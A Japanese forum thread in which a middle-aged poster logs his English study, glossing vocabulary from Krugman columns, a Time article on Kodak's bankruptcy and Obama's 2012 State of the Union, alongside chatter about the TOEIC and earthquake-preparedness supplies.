板検索:
いい加減学習しろよ (145)
まとめビュー
1
夢見る名無しさん[sage]   投稿日:2011/12/13 01:30:22
お前!お前だよ!


2
夢見る名無しさん[]   投稿日:2011/12/17 18:33:08
わかった
コメント1件

3
夢見る名無しさん[sage]   投稿日:2011/12/24 22:58:07
わかったわかった

4
夢見る名無しさん[]   投稿日:2011/12/27 07:37:24
どうぞどうぞどうぞ

5
かん[]   投稿日:2012/01/12 23:32:23
このスレ貰っとく。

6
かん[]   投稿日:2012/01/12 23:33:21
英語の学習に使いたいと。

7
かん[]   投稿日:2012/01/12 23:34:18
英語を毎日5行は読みたい。5ページじゃなくて5行な。

8
かん[]   投稿日:2012/01/12 23:35:21
もう長いこと中年やってるし、自分の能力は弁えてる。

9
かん[]   投稿日:2012/01/12 23:35:42
やっぱ2行な。

10
かん[]   投稿日:2012/01/12 23:37:10
ネタはクルーグマンのコラムにしよう。

11
かん[]   投稿日:2012/01/13 22:57:59

http://krugman.blogs.nytimes.com/2012/01/12/somewhere-in-europe/

<The latest on Hungary from my Princeton colleague Kim Lane Scheppele, below the fold.>

1行目からよくわからんな。 "the latest"で「最新情報」って感じかな。

"below the fold"は、こちらさんを参考に http://www.mf-seo.com/glossary/?id=499

どう訳すのかは知らん。

ついでに http://www.suzukikenichi.com/blog/myths-of-the-page-fold/

12
かん[]   投稿日:2012/01/13 22:59:25
つかれた。やっぱ2日で1行にする。

13
かん[sage]   投稿日:2012/01/13 23:10:11
つづきを貼るだけ貼っとくか。

<Yesterday, the European Commission issued a stern warning to Hungary.

In blunt language, the EU asserted that it “reserves the right to take any steps

that it deems appropriate, namely the possibility of launching infringement procedures”

against Hungary for violating the basic conditions of membership in the European Union. >



あと一つだけ。

・ In blunt language : ぶっきらぼうな言葉で、激しい口調で http://eow.alc.co.jp/blunt+language/UTF-8/

・ blunt : ぶっきらぼうな, そっけない, 率直な 無愛想な 鈍感な, のろい http://dictionary.goo.ne.jp/leaf/ej3/9672/m0u/blunt/

14
かん[sage]   投稿日:2012/01/13 23:40:45
去年の11月に初めて受けたTOEIC、860点もとってたんだよ。だめじゃんTOEIC。

15
かん[sage]   投稿日:2012/01/13 23:42:34
せいぜい700点かそこらだろうと予想してたのに、なんと860点。860点以上はAクラスって言うんだってよ。

16
かん[sage]   投稿日:2012/01/13 23:43:58
リスニングPart2で躓いて、当てずっぽでマークしたのがことごとく当たっちまったの。

17
かん[sage]   投稿日:2012/01/14 15:50:01

・assert : …を断言[力説]する, 言い張る / 〈要求・権利などを〉強く主張する, 擁護する http://dictionary.goo.ne.jp/leaf/ej3/4859/m0u/assert/

・deem : (…の)意見をもつ, 思う http://dictionary.goo.ne.jp/leaf/ej3/22361/m0u/deem/

・namely : すなわち, 換言すると http://dictionary.goo.ne.jp/leaf/ej3/56015/m0u/namely/

・infringement : (法律・権利・義務などの)違反,違背(特許権・版権・商標などの)侵害 http://dictionary.goo.ne.jp/leaf/ej3/44050/m0u/infringement/

・infringement procedure : 侵害訴訟 http://ejje.weblio.jp/content/infringement+procedure

これだけ分かれば読めるでしょ。

18
かん[sage]   投稿日:2012/01/14 16:05:58

assert は against と相性がいいみたい。

 duly assert against : 対抗する 対抗力 http://ejje.weblio.jp/content/duly+assert+against

 duly : 正式に, 正当に, 適切に, 十分に, しかるべく http://dictionary.goo.ne.jp/leaf/ej3/26203/m0u/duly/


念のため appropriate を見てみたら、他動詞として 「…を私物化する;着服する, 横領する;盗用する」

を意味することもあることを知る http://dictionary.goo.ne.jp/leaf/ej3/3919/m0u/appropriate/

19
かん[sage]   投稿日:2012/01/14 21:27:38
つぎこっち。

Bubble Memories
http://krugman.blogs.nytimes.com/2012/01/13/bubble-memories-2/

<Hahahaheehee! The Fed transcripts from 2006 show a lot of laughter and an incredible amount of complacency,

with people mainly worried about inflation rather than the coming recession.>


・ complacency : 自己満足から来る安心感 安易なみくびり, ひとりよがり http://dictionary.goo.ne.jp/leaf/ej3/18012/m0u/complacency/

transcripts は「議事録」だな。http://dictionary.goo.ne.jp/leaf/ej3/87801/m0u/transcrip/

ここの"people"はFEDの理事のことでいいのかな。

20
かん[sage]   投稿日:2012/01/15 18:59:58

<Brad DeLong digs up a contemporaneous column of mine in which I knew better; here’s more from Mark Thoma.>

・ contemporaneous〈事件など〉(…と)同時(期)に発生した, 同時(代)の 同年輩の(with) http://dictionary.goo.ne.jp/leaf/ej3/18778/m0u/contemporaneous/

here’s の here は、"more from Mark Thoma"に埋め込まれてるハイパーリンク先を指してるんだね。

21
かん[sage]   投稿日:2012/01/15 19:10:45

<In truth, I did not foresee the scale of the catastrophe; I was thinking mainly of the direct impact

of a housing bust on investment spending, with only a nod to possible effects on consumer demand,

and no sense at all of how fragile the financial system was. But I was a lot closer to understanding

the real risks than, apparently, anyone at the Fed.>


・ bust 破裂;失敗;破産 http://dictionary.goo.ne.jp/leaf/ej3/12285/m0u/bust/

・ nod 承諾, 同意;ノミネーション http://dictionary.goo.ne.jp/leaf/ej3/57290/m0u/nod/

22
かん[sage]   投稿日:2012/01/15 20:58:44

<Two puzzling things: first, the housing bubble was the clearest thing I’ve ever seen in my professional life.

How could they ignore even the possibility of a severe bust?>


・ puzzling 困惑[当感]させる, 不可解な http://dictionary.goo.ne.jp/leaf/ej3/68191/m0u/puzzling/



<Second, some of the same people you read in these transcripts dismissing risks to the real economy and

worrying wrongly about inflation are still making policy pronouncements, in which they … dismiss risks

to the real economy and worry wrongly about inflation.>


・ dismiss 〈人・考えなどを〉(念頭から)追い出す, 捨てる, 忘れてしまう/
       〈人を〉はねつける;〈提案・要求などを〉退ける(reject);〈討議中の問題などを〉簡略に[さっさと]かたづける;
       〈提案・意見などを〉(…だと)かたづけてしまう http://dictionary.goo.ne.jp/leaf/ej3/24359/m0u/dismiss/

・ pronouncement (…についての)意見, 公告, 宣言;判決 http://dictionary.goo.ne.jp/leaf/ej3/67159/m0u/pronouncement/

23
かん[sage]   投稿日:2012/01/15 21:42:06
おぼえられない単語、初見の単語で NYT を記事検索して、その単語を含んだ文を貼っておくとかもしよう。


* drab : 淡褐色の / さえない;つまらない, 単調な, おもしろくない. http://dictionary.goo.ne.jp/leaf/ej3/25557/m0u/drab/


<FROM the outside, China often appears to be a highly centralized monolith. Unlike Europe’s cities,

which have been able to preserve a certain identity and cultural distinctiveness despite the homogenizing forces of globalization,

most Chinese cities suffer from a drab uniformity.>


24
かん[sage]   投稿日:2012/01/16 23:01:00

* tinge : ((a ?))(…の)かすかな味[風味, におい];気味;生かじり(の知識)((of ...)) http://dictionary.goo.ne.jp/leaf/ej3/86583/m0u/tinge/


<This isn’t just a classic meet-cute: as in Smith’s previous novels, “The Comeback Season” and “You Are Here,”

larger family issues simmer beneath the shiny surface of first love, adding emotional heft and a tinge of melancholy

to the arc of teenage romance.>


・ meet-cute : http://ejje.weblio.jp/content/Meet+cute

・ simmer : 〈人が〉(感情で)今にも爆発しそうである((with ...));〈感情が〉くすぶる http://dictionary.goo.ne.jp/leaf/ej3/77507/m0u/simmer/

・ heft : 重量/重要性 http://dictionary.goo.ne.jp/leaf/ej3/39764/m0u/heft/

・ arc : アーク、物語の横糸◆シリーズ物のテレビドラマで、1話完結ではなく複数回にまたがる物語。 http://eow.alc.co.jp/arc/UTF-8/?ref=sa

「the arc of ホニャララ」というフレーズがたくさん検索に引っかかるけど、その直訳の「○○の弧」という言い方はあまり日本語に定着してないよね。

25
かん[sage]   投稿日:2012/01/16 23:15:05

tinge の訳、こっちのほうがいいな。http://ejje.weblio.jp/content/tinge


1 (薄い,または薄く染まった)色合い 〔of〕.  a tinge of red 赤のほんのりとした色合い.

2 〔…〕じみたところ,気味 〔of〕.  a tinge of irony 皮肉めいたところ.

26
かん[sage]   投稿日:2012/01/17 22:39:51
今日は眠いからここはお休み。『英文標準問題精講』の再読を少し。

27
かん[sage]   投稿日:2012/01/17 22:57:32
文章なしで単語を1つ。

drizzle : 名詞) 細雨,霧雨,こぬか雨. / 自動詞)[しばしば it を主語として] 細雨が降る. / 他動詞)…を霧雨のように降らす,細かい水滴で湿らす

     http://ejje.weblio.jp/content/drizzle http://dictionary.goo.ne.jp/leaf/ej3/25882/m0u/drizzle/

コメント1件

28
かん[sage]   投稿日:2012/01/18 21:15:03

Open Science And The Econoblogosphere
http://krugman.blogs.nytimes.com/2012/01/17/open-science-and-the-econoblogosph...

<Interesting article in the Times about the push for “open science”, bypassing the traditional structure

of refereed journals in favor of a sort of fluid, self-policing online community. >

「refereed journal」で「査読誌」だろうね。

open science は http://en.wikipedia.org/wiki/Open_science で。今日はアメリカ版見られないけど。(JavaScriptを切れば見られるとも)


<I can’t and won’t weigh in on this issue with regards to hard science,

but I think there are some interesting parallels with what has been happening in economics.>

・ weigh in on the issue : 〔闘争心を持って・戦う自信にあふれて〕論争に加わる http://eow.alc.co.jp/weigh+in+on+the+issue/UTF-8/

・ weigh in : 〔意見・議論などを持ち出して〕加勢する, 議論[けんか(など)]に加わる 〔with〕 http://ejje.weblio.jp/content/weigh+in

・ weigh : http://dictionary.goo.ne.jp/leaf/ej3/93800/m0u/weigh/


<This is also, by the way, a chance for me to maunder on about what it was like when I was younger.

You kids get off my lawn!>

・ maunder : だらだら[とりとめなく]話す〈on〉/ ぶらつく,ぼんやり歩き回る 〈about,along〉http://ejje.weblio.jp/content/maunder

「get off my lawn!」についてはこちらを http://www.newsweekjapan.jp/column/machiyama/2010/10/post-241.ph

29
かん[sage]   投稿日:2012/01/18 21:17:28

1行目の self-policing は「自己管理」で。

30
かん[sage]   投稿日:2012/01/19 23:10:23
だめ。ねむい。

puddle : 水たまり こね土 http://ejje.weblio.jp/content/puddle http://dictionary.goo.ne.jp/leaf/ej3/67743/m0u/puddle/

31
かん[sage]   投稿日:2012/01/20 00:06:04
ほえ? ニューヨーク・タイムズって、ただで読めるのは月に20記事だけなん?

32
かん[sage]   投稿日:2012/01/20 21:09:43
PBS NewsShour でリスニングの訓練もいいかも。

明日はコダック破産法11条申請のニュースを聞こう。

http://www.pbs.org/newshour/bb/business/jan-june12/kodak_01-19.h...

33
かん[sage]   投稿日:2012/01/21 09:09:16
やっぱこういう短いのがいいや。

Think different
http://lingoo.co/content/164


冒頭の「Here is」は、「〜に乾杯」ってやつだろうね。 Here's to…! http://ejje.weblio.jp/content/Here's+to+!

・ status quo : そのままの状態,現状 http://ejje.weblio.jp/content/status+quo

・ vilify : 〈人を〉けなす,中傷する http://ejje.weblio.jp/content/vilify

34
かん[sage]   投稿日:2012/01/22 23:11:12
きょうは"Time" から。

In Kodak Bankruptcy, Another Casualty of the Digital Revolution
http://business.time.com/2012/01/20/in-kodak-bankruptcy-another-casual...

第2パラグラフの2文目。

<Rather, Kodak’s demise mirrored that of Blockbuster and Borders, two other giants that saw new, innovative

digital upstarts crowd them out of the marketplace.>


・ demaise : 崩御; 逝去, 死去./ (企業などの)消滅,活動停止. http://ejje.weblio.jp/content/demise

crowd と言ったら、何かの中に押しこむ感じに理解してたけど、
crow … out of で、「…から〈…を〉押し出す, 締め出す」になるんだ。 http://ejje.weblio.jp/content/crowd+out+of

35
かん[sage]   投稿日:2012/01/23 23:05:46
上の最後んとこ、crwod …out of ね。


あとはテキトーに飛び飛びで。

<The company said it has received a $950 million line of credit from Citigroup while it reorganizes its business

with a view toward emerging from bankruptcy in 2013.>


line of credit 顧客が許される最大貸付金額 融資限度,信用供与限度,信用限度 http://ejje.weblio.jp/content/line+of+credit


<Decades ago, Kodak anticipated that digital photography would overtake film ? and in fact,

Kodak invented the first digital camera in 1975 ? but in a fateful decision, the company chose put its new discovery

on the backburner to focus on its legacy film business.>


back burner : (ガスオーブンなどの)後列のバーナー/ あとまわし,二の次. http://ejje.weblio.jp/content/backburner


<It wasn’t that Kodak was oblivious to the future, Henderson said, but rather that it failed to execute

on a strategy to confront it.>


oblivious : 〔…を〕忘れて 〔of〕.(何かに没頭して)〔…に〕気づかないで 〔of,to〕. http://ejje.weblio.jp/content/oblivious

36
かん[sage]   投稿日:2012/01/23 23:08:41

途中でまた complacency=complacence が出てきたね。 

研究者の辞書の訳だと →  自己満足; ひとりよがり http://ejje.weblio.jp/content/complacence

37
かん[sage]   投稿日:2012/01/25 23:03:18
明日からこれを読むだろう。

State of the Union 2012: President Obama's Full Speech
http://abcnews.go.com/Politics/State_of_the_Union/transcript-state-...#.TyALW29661x
コメント1件

38
かん[sage]   投稿日:2012/01/26 23:46:24
明日やるだろう。

39
かん[sage]   投稿日:2012/01/27 22:21:07
あれれ。やる気がどこかに行っちゃった!

40
かん[sage]   投稿日:2012/01/31 21:58:51
やっと落ち着いたから、明日からやるかもしれないな。

41
夢見る名無しさん[sage]   投稿日:2012/02/01 15:56:22
あ、かんやん!

42
かん[sage]   投稿日:2012/02/01 22:41:16
あかんなあ。

43
夢見る名無しさん[sage]   投稿日:2012/02/03 18:08:53
|・_・)やってるやってる?

44
かん[sage]   投稿日:2012/02/03 22:16:34
明後日くらいからまたやるからちょっと待ってて。

45
かん[sage]   投稿日:2012/02/03 23:00:32
最近ずっと震災グッズ集めに熱中してましたの。
明日届く雨水タンクを設置すれば、もうほとんど完了。
コメント1件

46
夢見る名無しさん[sage]   投稿日:2012/02/04 09:10:29
>45 おおー同じく!あと発電機欲しい!
コメント2件

47
かん[sage]   投稿日:2012/02/04 16:22:51
震災グッズに発電機だと?この温室育ちめが!

しかし、雨水タンクだけ届いても接続キットが届かなきゃ意味ないじゃん。誰が悪いんだ。佐川か?

48
かん[sage]   投稿日:2012/02/04 16:44:40
とか言ったすぐあとに届いた。佐川が悪かったんだ。
もうほとんど夕方だし、設置は明日だ。

49
かん[sage]   投稿日:2012/02/04 16:47:20
あとはうんこ固めセットと、非常食が届いたら震災対策完了。
非常食が届くのは4月下旬近くだけどな。

50
かん[sage]   投稿日:2012/02/04 23:48:14
面白いの見つけた。ちょっとこれ買ってみ?>46

51
かん[sage]   投稿日:2012/02/04 23:49:02

52
かん[sage]   投稿日:2012/02/04 23:51:08
レビューが酷すぎるやん。

53
かん[sage]   投稿日:2012/02/04 23:55:22
尾西食品のアルファ米、今だと約五ヶ月待ちだってよ。http://www.rakuten.co.jp/alpha-rice/
自分の食いもんだけは確保しておこうという人間が多すぎるんだわな。あさましい。
ぼくのが届いた直後の4月下旬に大地震が来ればいいんだ。

54
かん[sage]   投稿日:2012/02/05 11:03:23
雨水タンク設置でけたった。
見た目スマートだし、取り付け簡単だし、オーバーフローの心配いらないし、パナソニックのおすすめ。

55
かん[sage]   投稿日:2012/02/05 17:46:35
じゃあ、>37をちょっとずつ読むか。 動画もある。 http://www.youtube.com/watch?v=Zgfi7wnGZlE


<As Prepared for Delivery ― Mr. Speaker, Mr. Vice President, members of Congress,

distinguished guests, and fellow Americans:>


"As Prepared for Delivery"は、「演説原稿より」という感じ?


<Last month, I went to Andrews Air Force Base and welcomed home some of our last troops to serve in Iraq.

Together, we offered a final, proud salute to the colors under which more than a million of our fellow citizens fought

― and several thousand gave their lives. We gather tonight knowing that this generation of heroes has made

the United States safer and more respected around the world. For the first time in nine years,

there are no Americans fighting in Iraq. For the first time in two decades, Osama bin Laden is not a threat

to this country. Most of al Qaeda's top lieutenants have been defeated. The Taliban's momentum has been broken,

and some troops in Afghanistan have begun to come home.>


・colors : 国籍を示す旗,国旗 http://ejje.weblio.jp/content/colors

・lieutenant : 上官代理,副官 http://ejje.weblio.jp/content/lieutenant

56
かん[sage]   投稿日:2012/02/05 17:53:55

<These achievements are a testament to the courage, selflessness, and teamwork of America's Armed Forces.

At a time when too many of our institutions have let us down, they exceed all expectations.

They're not consumed with personal ambition. They don't obsess over their differences. They focus on the mission at hand.

They work together. Imagine what we could accomplish if we followed their example.

Think about the America within our reach: A country that leads the world in educating its people.

An America that attracts a new generation of high-tech manufacturing and high-paying jobs. A future where we're

in control of our own energy, and our security and prosperity aren't so tied to unstable parts of the world.

An economy built to last, where hard work pays off, and responsibility is rewarded.>


・testament : 証左,あかし. http://ejje.weblio.jp/content/testament

"institutions" は何を指すんだろ。公的組織一般だろうか。

"be consumed with" で 「〜に熱中する」とか「駆られる」とか、気持ちや感情がある対象に囚われてる状態を表すらしい。
  http://eow.alc.co.jp/search?q=consumed+with&ref=sa http://ejje.weblio.jp/content/consume

それと同じ意味の言い換えが "obsess" http://ejje.weblio.jp/content/obsess だろうね。

"pays off" と "is rewarded" も、報われるという意味の言い換えだね。

"built to last" は永続できるようになってるという感じかね。


57
かん[sage]   投稿日:2012/02/07 22:56:06
つづき。ちょっとだけ。http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=3m20s

<We can do this. I know we can, because we've done it before. At the end of World War II,

when another generation of heroes returned home from combat, they built the strongest economy and middle class

the world has ever known. My grandfather, a veteran of Patton's Army, got the chance to go to college on the GI Bill.

My grandmother, who worked on a bomber assembly line, was part of a workforce that turned out the best products on Earth.

The two of them shared the optimism of a Nation that had triumphed over a depression and fascism.

They understood they were part of something larger; that they were contributing to a story of success

that every American had a chance to share ― the basic American promise that if you worked hard,

you could do well enough to raise a family, own a home, send your kids to college, and put a little away for retirement.>



・GI Bill : 復員軍人援護法 http://ejje.weblio.jp/content/GI+Bill

・do well : うまくいく, 成功する http://ejje.weblio.jp/content/do+well

"do well"は「(〜するのは)もっともである」という意味の場合もあるね。http://dictionary.goo.ne.jp/leaf/ej3/93862/m0u/do+well/

・put away : 〈金を〉(将来のために)取っておく, 蓄える http://ejje.weblio.jp/content/put+away

"put a little money away"で「少し貯金する」 http://eow.alc.co.jp/search?q=put+a+little+money+away

58
夢見る名無しさん[sage]   投稿日:2012/02/09 10:14:53
>51 興味深いけど、やってるうちにお腹空いて非常食食べてしまいそうな…w

59
夢見る名無しさん[sage]   投稿日:2012/02/09 10:17:10
うんこ固め注文した。届くまでじっと我慢。

60
かん[sage]   投稿日:2012/02/09 21:18:20
こうなったら元気なうちに一度はうんこを固めたいよね。しかし、うちのうんこ固めまだ届かんな。
尾西食品はとうとう受注停止に追い込まれてるし。どんだけみんな必死なんだか。さもしいねえ。

61
かん[sage]   投稿日:2012/02/09 21:21:44
身内の家庭が非常事態。そっちのほうが切実。

62
かん[sage]   投稿日:2012/02/10 21:27:22
http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=5m14s

<The defining issue of our time is how to keep that promise alive. No challenge is more urgent.

No debate is more important. We can either settle for a country where a shrinking number of people do really well,

while a growing number of Americans barely get by. Or we can restore an economy where everyone gets a fair shot,

everyone does their fair share, and everyone plays by the same set of rules. What's at stake are not Democratic values

or Republican values, but American values. We have to reclaim them.>


・defining : 決定的な、特徴付ける http://eow.alc.co.jp/search?q=defining&ref=sa

・settle for : 〔…の分の〕勘定を済ます〔不満足なものに〕同意する,〔…で〕よいとする,手を打つ
  http://ejje.weblio.jp/content/settle+for

・get by : 〔…で〕何とかやっていく[切り抜ける] 〔on, with〕 http://ejje.weblio.jp/content/get+by

"fair shot" の部分は http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1480223569 で。ヤフー知恵袋だけど、大丈夫そう。

"set of rules"は、このひとまとまりでよく使われてる。 http://eow.alc.co.jp/search?q=set+of+rules

・at stake : 賭けられて; 危うくなって, 問題となって http://ejje.weblio.jp/content/at+stake

コメント1件

63
かん[sage]   投稿日:2012/02/10 21:32:42

64
かん[sage]   投稿日:2012/02/11 07:42:36
http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=5m32s

<Let's remember how we got here. Long before the recession, jobs and manufacturing began leaving our shores.

Technology made businesses more efficient, but also made some jobs obsolete. Folks at the top saw their incomes rise

like never before, but most hardworking Americans struggled with costs that were growing, paychecks that weren't,

and personal debt that kept piling up.>

ここはいいでしょ。


<In 2008, the house of cards collapsed. We learned that mortgages had been sold to people who couldn't afford or

understand them. Banks had made huge bets and bonuses with other people's money. Regulators had looked the other way,

or didn't have the authority to stop the bad behavior.>


・house of cards : 不安定な[危なっかしい]計画 http://ejje.weblio.jp/content/house+of+cards

・regulator : (行政)監督官,規制者,監督機関 http://ejje.weblio.jp/content/regulator

65
かん[sage]   投稿日:2012/02/11 12:54:29
上の"house of cards"は、「砂上の楼閣」のほうがしっくりするね。http://eow.alc.co.jp/search?q=house+of+cards

66
かん[sage]   投稿日:2012/02/11 12:56:21
http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=6m26s

<It was wrong. It was irresponsible. And it plunged our economy into a crisis that put millions out of work,

saddled us with more debt, and left innocent, hard-working Americans holding the bag.

In the six months before I took office, we lost nearly four million jobs. And we lost another four million

before our policies were in full effect.>


・saddle : 〔責任・負担などを〕負わせる 〔with〕,〈責任・負担などを〉負わせる 〔on,upon〕 http://ejje.weblio.jp/content/saddle

・left holding the bag : 《be 〜》〈米〉全責任を取らされる、貧乏くじを引く、罪を着せられる http://eow.alc.co.jp/search?q=left+holding+the+bag

・take office : 職、任務、または位に就く http://ejje.weblio.jp/content/take+office


<Those are the facts. But so are these. In the last 22 months, businesses have created more than three million jobs.

Last year, they created the most jobs since 2005. American manufacturers are hiring again, creating jobs

for the first time since the late 1990s. Together, we've agreed to cut the deficit by more than $2 trillion.

And we've put in place new rules to hold Wall Street accountable, so a crisis like that never happens again.>


"But so are these"の"these"は、その後に述べることを指すんだね。

・put in place : 〜を導入する・整備する http://eow.alc.co.jp/search?q=put+in+place

・hold 〜 accountable : 〜に責任を課す http://eow.alc.co.jp/search?q=hold+accountable 

67
かん[sage]   投稿日:2012/02/12 19:40:20
http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=7m55s

<The state of our Union is getting stronger. And we've come too far to turn back now.

As long as I'm President, I will work with anyone in this chamber to build on this momentum.

But I intend to fight obstruction with action, and I will oppose any effort to return to the very same policies

that brought on this economic crisis in the first place.>


・chamber [the chamber] (立法・司法機関の)会議場; 議院,議会. http://ejje.weblio.jp/content/chamber

・build on the momentum 勢いに乗るhttp://eow.alc.co.jp/search?q=build+on+the+momentum


<No, we will not go back to an economy weakened by outsourcing, bad debt, and phony financial profits.

Tonight, I want to speak about how we move forward, and lay out a blueprint for an economy that's built to

last ― an economy built on American manufacturing, American energy, skills for American workers,

and a renewal of American values. This blueprint begins with American manufacturing.>


・lay out : 設計する, レイアウトする、.詳細な計画または企画を提供する http://ejje.weblio.jp/content/lay+out

68
かん[sage]   投稿日:2012/02/18 08:03:48
英語の勉強をやってる暇がなかった。ツイッター見るのに忙しくて。

69
かん[sage]   投稿日:2012/02/19 15:39:10
http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=9m10s

<On the day I took office, our auto industry was on the verge of collapse. Some even said we should let it die.

With a million jobs at stake, I refused to let that happen. In exchange for help, we demanded responsibility.

We got workers and automakers to settle their differences. We got the industry to retool and restructure.

Today, General Motors is back on top as the world's number one automaker. Chrysler has grown faster in the U.S.

than any major car company. Ford is investing billions in U.S. plants and factories. And together,

the entire industry added nearly 160,000 jobs.>

retool : …を改組[再編]する http://dictionary.goo.ne.jp/leaf/ej3/71131/m0u/retool/


<We bet on American workers. We bet on American ingenuity. And tonight, the American auto industry is back.>

<What's happening in Detroit can happen in other industries. It can happen in Cleveland and Pittsburgh and Raleigh.

We can't bring back every job that's left our shores. But right now, it's getting more expensive to do business

in places like China. Meanwhile, America is more productive. A few weeks ago, the CEO of Master Lock told me

that it now makes business sense for him to bring jobs back home. Today, for the first time in fifteen years,

Master Lock's unionized plant in Milwaukee is running at full capacity.>

・it makes business sense to : 〜することがビジネスとして[経営上]理にかなう[賢明である]
http://eow.alc.co.jp/search?q=it+makes+business+sense+to

70
かん[sage]   投稿日:2012/02/19 15:40:22

make good business sense : ビジネスとしてうまくいく[成り立つ] 

make no business sense : 採算が合わない

http://eow.alc.co.jp/search?q=business+sense

71
かん[sage]   投稿日:2012/02/24 20:21:45
http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=11m25s

<So we have a huge opportunity, at this moment, to bring manufacturing back. But we have to seize it.

Tonight, my message to business leaders is simple: Ask yourselves what you can do to bring jobs back to your country,

and your country will do everything we can to help you succeed.>


<We should start with our tax code. Right now, companies get tax breaks for moving jobs and profits overseas.

Meanwhile, companies that choose to stay in America get hit with one of the highest tax rates in the world.

It makes no sense, and everyone knows it. So let's change it. First, if you're a business that wants to outsource jobs,

you shouldn't get a tax deduction for doing it. That money should be used to cover moving expenses for companies

like Master Lock that decide to bring jobs home.>



・tax code : 税法 http://eow.alc.co.jp/search?q=tax+code

・tax break : 税(額)控除、減税、優遇税制措置、節税策、租税回避 http://eow.alc.co.jp/search?q=tax+break

・get hit with : 〜をふっかけられる、〜で打撃を受ける、〜でぶたれる http://eow.alc.co.jp/search?q=get+hit+with

72
かん[sage]   投稿日:2012/02/25 08:52:41
http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=12m43s

<Second, no American company should be able to avoid paying its fair share of taxes by moving jobs and profits overseas.

From now on, every multinational company should have to pay a basic minimum tax. And every penny should go towards

lowering taxes for companies that choose to stay here and hire here.>


<Third, if you're an American manufacturer, you should get a bigger tax cut. If you're a high-tech manufacturer,

we should double the tax deduction you get for making products here. And if you want to relocate in a community

that was hit hard when a factory left town, you should get help financing a new plant, equipment, or training for

new workers. My message is simple. It's time to stop rewarding businesses that ship jobs overseas, and start

rewarding companies that create jobs right here in America. Send me these tax reforms, and I'll sign them right away.>


ここも大丈夫だね。

73
かん[sage]   投稿日:2012/03/05 00:56:32
丸一週間あいてもうた。

74
かん[sage]   投稿日:2012/03/08 23:57:45
8月から本気だすから!

75
かん[sage]   投稿日:2012/03/14 22:23:50
しかしここは続けよう。今度の土日に復帰だ。

76
かん[sage]   投稿日:2012/03/18 20:54:45
http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=14m16s

<We're also making it easier for American businesses to sell products all over the world. Two years ago,

I set a goal of doubling U.S. exports over five years. With the bipartisan trade agreements I signed into law,

we are on track to meet that goal ― ahead of schedule. Soon, there will be millions of new customers for American goods

in Panama, Colombia, and South Korea. Soon, there will be new cars on the streets of Seoul imported from Detroit,

and Toledo, and Chicago.>


・ bipartisan : 二党の,二派の, 超党派の http://ejje.weblio.jp/content/bipartisan


<I will go anywhere in the world to open new markets for American products. And I will not stand by when

our competitors don't play by the rules. We've brought trade cases against China at nearly twice the rate

as the last administration ― and it's made a difference. Over a thousand Americans are working today

because we stopped a surge in Chinese tires. But we need to do more. It's not right when another country

lets our movies, music, and software be pirated. It's not fair when foreign manufacturers have a leg up

on ours only because they're heavily subsidized.>


・have a leg up : 優位に立っている http://eow.alc.co.jp/search?q=have+a+leg+up

・subsidize : 〈…に〉助成[補助,奨励]金を支給する http://ejje.weblio.jp/content/subsidize

77
かん[sage]   投稿日:2012/03/25 15:40:41
どへ。もう日曜日の午後3時40分だ。もうなんにもやる気なくした!

78
かん[sage]   投稿日:2012/04/01 09:59:19
http://www.youtube.com/watch?v=Zgfi7wnGZlE#t=15m45s

<Tonight, I'm announcing the creation of a Trade Enforcement Unit that will be charged with investigating

unfair trade practices in countries like China. There will be more inspections to prevent counterfeit or

unsafe goods from crossing our borders. And this Congress should make sure that no foreign company has an advantage

over American manufacturing when it comes to accessing finance or new markets like Russia. Our workers are the most

productive on Earth, and if the playing field is level, I promise you - America will always win.>


・be charged with : 〈任務・義務などを〉・負う http://ejje.weblio.jp/content/be+charged+with

・investigate, inspect :「調査する; inspect, investigate, reserch, survey どれだ?」http://je.at.webry.info/201204/article_1.html

・counterfeit : 偽造の,にせの; 模造の,まがいの / 偽りの,虚偽の http://ejje.weblio.jp/content/counterfeit


<I also hear from many business leaders who want to hire in the United States but can't find workers with the

right skills. Growing industries in science and technology have twice as many openings as we have workers

who can do the job. Think about that - openings at a time when millions of Americans are looking for work.>


<That's inexcusable. And we know how to fix it.>

・inexcusable : 言い訳の立たない,許しがたい http://ejje.weblio.jp/content/inexcusable

79
かん[sage]   投稿日:2012/04/08 22:41:30
8月になったら英文を早く読む練習するんだ。そして11月には2度目のTOEIC受験するんだ。

80
かん[sage]   投稿日:2012/04/16 07:25:47
この調子だと8月なんてあっという間だな。

81
かん[sage]   投稿日:2012/04/24 21:01:49
あと1週間で4月も終わるど。

82
かん[sage]   投稿日:2012/05/01 08:48:06
5月。

83
かん[sage]   投稿日:2012/05/11 20:31:34
頭髪にはないのに鼻毛に白髪。

84
かん[sage]   投稿日:2012/05/17 23:54:06
早くこないかな大地震。今の時期の日曜朝6時とかが最高じゃね。

85
かん[sage]   投稿日:2012/05/29 23:30:21
はるかぜちゃん

86
かん[sage]   投稿日:2012/05/31 20:15:36
8月になったらTOEICじゃなくて英作文の勉強しようかしらん。

87
夢見る名無しさん[]   投稿日:2012/06/01 11:51:01
くだらん

88
かん[sage]   投稿日:2012/06/02 19:06:16
はるかぜちゃん、ちきりんなんか見てちゃダメ!

89
かん[sage]   投稿日:2012/06/09 20:43:18
どうも最近になって集中力が出てきたわん。せっかくだから7月から何かやろう。

90
かん[sage]   投稿日:2012/06/14 21:21:43
今週は頭から不調よ。ねむいねむい。で、変換候補の「ねむいねむいねずみのクリスマス」ってなんだよ。

91
かん[sage]   投稿日:2012/06/27 05:47:13
Nasato ?@nasato_pikapi
生活保護受給者を見ていると努力して勉強している自分たちがバカみたいに思うと言う人がちらほらいたが、
確かに努力して勉強しておいての社会認識がそれではバカみたいだ。

92
かん[sage]   投稿日:2012/06/27 07:08:24
くまきち(諦めたらBOTと化した先輩) ?@kumakiti2ch
いや、マジで思うんだけど、今の日本人って「運良くその時の時勢や周りやシステムに生かされてるだけの糞雑魚のくせに、
【俺は全部自分で成し遂げた】【自分でやるのが当然】みたいなものすごい勘違い」してる自信過剰バカ多いよなー。
「存在が当たり前すぎるとありがたみも感じなくなる」んだねぇ

93
かん[sage]   投稿日:2012/06/27 19:39:36
努力原因論か。

94
かん[sage]   投稿日:2012/07/11 22:06:24
